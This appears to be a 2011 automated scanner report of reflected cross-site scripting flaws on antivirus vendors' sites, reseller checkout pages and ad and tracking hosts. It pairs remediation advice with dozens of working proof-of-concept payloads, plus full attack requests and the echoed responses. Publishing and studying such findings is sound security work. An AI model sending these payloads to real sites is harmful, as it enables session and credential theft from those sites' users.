Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the jsoncallback request parameter is copied into the HTML document as plain text between tags. The payload 5dbc2<script>alert(1)</script>68459b59f86 was submitted in the jsoncallback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/request?targeting=3&country=US&instance=2&limit=4&platform=1177&jsoncallback=json_process_cpc5dbc2<script>alert(1)</script>68459b59f86§ion=1177 HTTP/1.1 Host: c2.softonicads.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://en.softonic.com/phones Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sun, 23 Oct 2011 16:31:43 GMT Server: Apache Vary: Accept-Encoding,User-Agent Content-Length: 1737 Connection: close Content-Type: application/json
The value of the aid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d02e5'-alert(1)-'1d9eae90bbe was submitted in the aid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 23 Oct 2011 16:26:55 GMT Server: Apache/2.2.9 Expires: Sun, 23 Oct 2011 16:56:55 GMT Last-Modified: Sun, 23 Oct 2011 16:26:55 GMT Content-Length: 237 Connection: close Content-Type: text/html
var dgt_script = document.createElement('SCRIPT'); dgt_script.src = document.location.protocol + '//digr.netmng.com/?aid=244d02e5'-alert(1)-'1d9eae90bbe&tax=trend_micro'; document.getElementsByTagName('head')[0].appendChild(dgt_script);
1.3. http://display.digitalriver.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://display.digitalriver.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2197'-alert(1)-'30da97cd78e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the tax request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9b44e'-alert(1)-'b8c58074559 was submitted in the tax parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 23 Oct 2011 16:26:56 GMT Server: Apache/2.2.9 Expires: Sun, 23 Oct 2011 16:56:56 GMT Last-Modified: Sun, 23 Oct 2011 16:26:56 GMT Content-Length: 237 Connection: close Content-Type: text/html
var dgt_script = document.createElement('SCRIPT'); dgt_script.src = document.location.protocol + '//digr.netmng.com/?aid=244&tax=trend_micro9b44e'-alert(1)-'b8c58074559'; document.getElementsByTagName('head')[0].appendChild(dgt_script);
1.5. http://home.mcafee.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://home.mcafee.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 473ee'><script>alert(1)</script>53f145d563c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
<HTML> <head></head> <body> <form id = 'frmPIO' name = 'frmPIO' action='http://home.mcafee.com/Default.aspx?473ee'><script>alert(1)</script>53f145d563c=1' method='post'> <input type ='hidden' i ...[SNIP]...
1.6. http://home.mcafee.com/Default.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://home.mcafee.com
Path:
/Default.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 86fda'><script>alert(1)</script>9ebe5510c46 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<HTML> <head></head> <body> <form id = 'frmPIO' name = 'frmPIO' action='http://home.mcafee.com/Default.aspx?86fda'><script>alert(1)</script>9ebe5510c46=1' method='post'> <input type ='hidden' i ...[SNIP]...
The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload b5388<script>alert(1)</script>ca1f38033ea was submitted in the mbox parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the msessionkey request parameter is copied into the HTML document as plain text between tags. The payload e2225<img%20src%3da%20onerror%3dalert(1)>fd97a2d10a7 was submitted in the msessionkey parameter. This input was echoed as e2225<img src=a onerror=alert(1)>fd97a2d10a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The value of the CART_ID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce942"><script>alert(1)</script>221f4b7027a924945 was submitted in the CART_ID parameter. This input was echoed as ce942\"><script>alert(1)</script>221f4b7027a924945 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the SHOPURL request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 27a2c'><script>alert(1)</script>61b00100668 was submitted in the SHOPURL parameter. This input was echoed as 27a2c\'><script>alert(1)</script>61b00100668 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /order/cart.php?PRODS=4020750&QTY=1&OPTIONS4020750=ES-AV/1-1&CURRENCY=USD&LANGUAGES=en&SHOPURL=http://www.escanav.com/mwscnew/index.asp?cu=USD27a2c'><script>alert(1)</script>61b00100668 HTTP/1.1 Host: secure.avangate.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.escanav.com/english/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
1.11. https://secure.avangate.com/order/cart.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.avangate.com
Path:
/order/cart.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 964cf'><script>alert(1)</script>bddb008a6fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 964cf\'><script>alert(1)</script>bddb008a6fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /order/cart.php?PRODS=4020750&QTY=1&OPTIONS4020750=ES-AV/1-1&CURRENCY=USD&LANGUAGES=en&SHOPURL=http://www.escanav.com/mwscnew/index.asp?cu/964cf'><script>alert(1)</script>bddb008a6fb=USD HTTP/1.1 Host: secure.avangate.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.escanav.com/english/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
1.12. https://secure.avangate.com/order/cart.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.avangate.com
Path:
/order/cart.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89ceb"><script>alert(1)</script>4d8bccc25b0455427 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 89ceb\"><script>alert(1)</script>4d8bccc25b0455427 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the CART_ID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d878"><script>alert(1)</script>27b37f62572 was submitted in the CART_ID parameter. This input was echoed as 5d878\"><script>alert(1)</script>27b37f62572 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--[if IE 9]> <meta http-equiv="X-UA-Compatible ...[SNIP]... <a href="/order/nojs.php?CART_ID=6666fe17f2bc324cd19f55da68f5a44b5d878\"><script>alert(1)</script>27b37f62572" target="_blank"> ...[SNIP]...
1.14. https://secure.avangate.com/order/checkout.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.avangate.com
Path:
/order/checkout.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abe14"><script>alert(1)</script>67ad459a50d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as abe14\"><script>alert(1)</script>67ad459a50d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--[if IE 9]> <meta http-equiv="X-UA-Compatible ...[SNIP]... <a href="/order/nojs.php?CART_ID=6666fe17f2bc324cd19f55da68f5/abe14\"><script>alert(1)</script>67ad459a50da44b" target="_blank"> ...[SNIP]...
1.15. https://secure.element5.com/esales/checkout.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.element5.com
Path:
/esales/checkout.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3998b"style%3d"x%3aexpression(alert(1))"cc6aa44df2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3998b"style="x:expression(alert(1))"cc6aa44df2c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
1.16. https://secure.element5.com/esales/product.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.element5.com
Path:
/esales/product.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98fcd"style%3d"x%3aexpression(alert(1))"84730791e81 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 98fcd"style="x:expression(alert(1))"84730791e81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
1.17. https://secure.k7computing.com/esales/checkout.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.k7computing.com
Path:
/esales/checkout.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0d45"style%3d"x%3aexpression(alert(1))"64c433f0ffb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a0d45"style="x:expression(alert(1))"64c433f0ffb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Date: Sun, 23 Oct 2011 16:30:53 GMT Server: Apache P3P: policyref="https://secure.element5.com/w3c/p3p.xml", CP="CAO DSP COR ADMo PSA CONo HIS OUR SAMo UNRo LEG UNI" Keep-Alive: timeout=5, max=5000 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 150805
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>K7 Product Store - K7 Antivirus and Internet Security - K7 Computing</title> <style type="text/css"> <!-- /*Hauptel ...[SNIP]... <form action="/esales/checkout.html?js=-1&a0d45"style="x:expression(alert(1))"64c433f0ffb=1&sessionid=2028752510&random=76838fa6a12ef8c7a83b81052767d7f8&sessionid=2028752510&random=76838fa6a12ef8c7a83b81052767d7f8" method="post"> ...[SNIP]...
1.18. https://secure.k7computing.com/esales/faxorder.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.k7computing.com
Path:
/esales/faxorder.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c58b9"style%3d"x%3aexpression(alert(1))"b2652687fe1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c58b9"style="x:expression(alert(1))"b2652687fe1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Date: Sun, 23 Oct 2011 16:33:46 GMT Server: Apache P3P: policyref="https://secure.element5.com/w3c/p3p.xml", CP="CAO DSP COR ADMo PSA CONo HIS OUR SAMo UNRo LEG UNI" Keep-Alive: timeout=5, max=5000 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 55158
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>K7 Product Store - K7 Antivirus and Internet Security - K7 Computing</title> <style type="text/css"> <!-- /*Hauptel ...[SNIP]... <form action="/esales/faxorder.html?c58b9"style="x:expression(alert(1))"b2652687fe1=1&sessionid=2028751322&random=3e8d2fae8b0c88f58ce09fac2795cb78&sessionid=2028751322&random=3e8d2fae8b0c88f58ce09fac2795cb78" method="post"> ...[SNIP]...
The value of the profile._COUNTRY request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9bb0'%3balert(1)//5d1463e55f1 was submitted in the profile._COUNTRY parameter. This input was echoed as e9bb0';alert(1)//5d1463e55f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._IPC request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eaf74'%3balert(1)//28c1bcc212f was submitted in the profile._IPC parameter. This input was echoed as eaf74';alert(1)//28c1bcc212f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._IPD request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8246'%3balert(1)//7fd190a3b78 was submitted in the profile._IPD parameter. This input was echoed as d8246';alert(1)//7fd190a3b78 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._IPF request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6117c'%3balert(1)//71fc5cb571a was submitted in the profile._IPF parameter. This input was echoed as 6117c';alert(1)//71fc5cb571a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._IPV request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 72b62'%3balert(1)//3d546e6880f was submitted in the profile._IPV parameter. This input was echoed as 72b62';alert(1)//3d546e6880f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._LANGUAGE request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 94177'%3balert(1)//fd44a2d4e63 was submitted in the profile._LANGUAGE parameter. This input was echoed as 94177';alert(1)//fd44a2d4e63 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._PGM_ID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cb89b'%3balert(1)//5012da3bc22 was submitted in the profile._PGM_ID parameter. This input was echoed as cb89b';alert(1)//5012da3bc22 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._PGM_TYPE request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d7642'%3balert(1)//f2928718417 was submitted in the profile._PGM_TYPE parameter. This input was echoed as d7642';alert(1)//f2928718417 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._SUBCHANNEL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 66983'%3balert(1)//a3bf71ee914 was submitted in the profile._SUBCHANNEL parameter. This input was echoed as 66983';alert(1)//a3bf71ee914 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the profile._TRAFFIC_SOURCE request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61663'%3balert(1)//ae06d88f6e7 was submitted in the profile._TRAFFIC_SOURCE parameter. This input was echoed as 61663';alert(1)//ae06d88f6e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the z request parameter is copied into the HTML document as plain text between tags. The payload 60349<script>alert(1)</script>94bfd79debe was submitted in the z parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /trk/3?z=e6e604ff60349<script>alert(1)</script>94bfd79debe&c=8a8484e52ca20cfe012d08efc11a2010&m=http:&s=null&i=pv&y=1319387831443&e=UTF-8&d=de.trendmicro.com&p=%2Fde%2Fhome%2F&q=&t=Antiviren-%20und%20Content-Security-Software%20%7C%20Securing%20Your%20Web%20World%20-%20Trend%20Micro%20DE&r=http%3A%2F%2Fus.trendmicro.com%2Fus%2Ftrendwatch%2Fcloud%2Fsmart-protection-network%2F&a=Mozilla%2F5.0%20(Windows%20NT%206.1%3B%20WOW64)%20AppleWebKit%2F535.1%20(KHTML%2C%20like%20Gecko)%20Chrome%2F14.0.835.202%20Safari%2F535.1 HTTP/1.1 Host: trk.enecto.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://de.trendmicro.com/de/home/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sun, 23 Oct 2011 16:37:27 GMT Server: Apache X-Powered-By: Enecto Vary: Accept-Encoding Content-Length: 164 Connection: close Content-Type: application/x-javascript;charset=ISO-8859-1
1.30. http://usa.kaspersky.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://usa.kaspersky.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c24f"><script>alert(1)</script>e204753faca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?4c24f"><script>alert(1)</script>e204753faca=1 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.av-comparatives.org/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:26:29 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387189" Content-Type: text/html; charset=utf-8 Content-Length: 44076 Date: Sun, 23 Oct 2011 16:26:32 GMT X-Varnish: 1652536625 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/?4c24f"><script>alert(1)</script>e204753faca=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b168b"><script>alert(1)</script>08a34ba8bb1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97778"-alert(1)-"44132cf691b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54ddb"><script>alert(1)</script>50a7a4548a9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8b116"-alert(1)-"ce9764fe5ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the ICID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1bc1"><script>alert(1)</script>87e5638e6e6 was submitted in the ICID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbd00"-alert(1)-"9a65bf5e617 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8eccc"><script>alert(1)</script>43dd8730ca1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2132c"-alert(1)-"b25a63ae213 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5069"><script>alert(1)</script>a473c0fcddb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8599"><script>alert(1)</script>f8f7fc35135 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b67bb"-alert(1)-"5f681d3f7a7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
1.42. http://usa.kaspersky.com/products-services/home-computer-security/one [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://usa.kaspersky.com
Path:
/products-services/home-computer-security/one
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66a39"><script>alert(1)</script>f687e1ff6b2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
